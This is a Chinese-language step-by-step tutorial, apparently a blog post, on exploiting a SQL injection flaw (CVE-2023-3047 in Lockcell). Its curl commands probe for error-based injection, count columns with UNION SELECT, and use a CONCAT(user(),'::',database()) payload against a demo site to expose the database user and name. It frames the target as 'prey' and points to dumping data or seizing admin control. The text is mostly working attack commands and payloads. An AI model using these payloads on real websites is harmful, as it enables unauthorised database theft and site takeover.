@ghostman_s3c 或 @Chrome202417L22i227Keet23QCNaeCyrQ6xfiTQpQJ5TMT Lockcell 中存在对 SQL 命令中特殊元素的不当中和('SQL 注入')漏洞,允许 SQL 注入。该问题影响 Lockcell:15 之前的版本。
首先,我们将检查目标是否存在 CVE-2023-3047 错误。现在打开一个终端,并确保该终端支持 cURL 工具
curl <your_url_vulnerable> | grep "at line"
回车后,如果显示类似 100 4976 0 4 --:--:Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1 的内容,则说明你的网站存在 CVE-2023-3047 错误
好的,接下来我们将尝试查看该网站是否阻止这些注入攻击。尝试使用以下命令并进行测试
curl <your_url_vulnerable>+Union+Select+1,2,3--+- | grep "The used SELECT"
然后按回车,如果显示如下图所示,那么你就有了一个绝佳的猎物
现在你应该继续使用 union select 的 payload,从 1 递增到某个数字,该数字被认为是该 MySQL 网站的有效列数。
好的,我的目标在 1 到 11 之间有有效的列数。在下图中,有两个完全不同的结果:上方的结果仍然包含“The used SELECT”,而下方则没有。
现在,我将去 Google 验证,看看结果是否与上述结果一致。巧合的是,我将得到另一个可以获取信息的数字。
嗯,这看起来是一个完全有效的结果,有 3 个数字可以被注入以获取信息。
现在,我们将练习注入 SQL 命令以从中获取信息。
我们将使用的 payload:+Union+Select+1,2,3,4,5,6,CONCAT(user(),'::',database()),8,9,10,11--+-
curl http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+1,2,3,4,5,6,CONCAT(user(),'::',database()),8,9,10,11--+- | grep "::"
哦哦,看起来这个命令并不理想,因为我们还没有将 payload 编码为 URL 格式。
现在我接下来要做的是将该 payload 编码为 URL 路径,以继续网络攻击。
我们将使用 Burp Suite 对它们进行编码。
现在选择 Decoder,然后选择屏幕左侧的 Encode as,接着选择 URL 并输入你的 payload。对于我上面的错误,它包含一些特殊字符,例如 (、) 等,不够满足要求,因此我将只编码用于获取数据库信息的命令。
CONCAT(user(),'::',database())
curl http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+1,2,3,4,5,6,<encode_path_here>,8,9,10,11--+- | grep "::"
输入并回车后,游戏就此结束。用户名和数据库已经暴露。不仅如此,攻击者还可以注入其他 payload 以获取更多信息,例如转储数据库数据来窃取信息或获得网站管理员控制权。
所以,游戏结束了。用户名是 acuart@localhost,数据库名是 acuart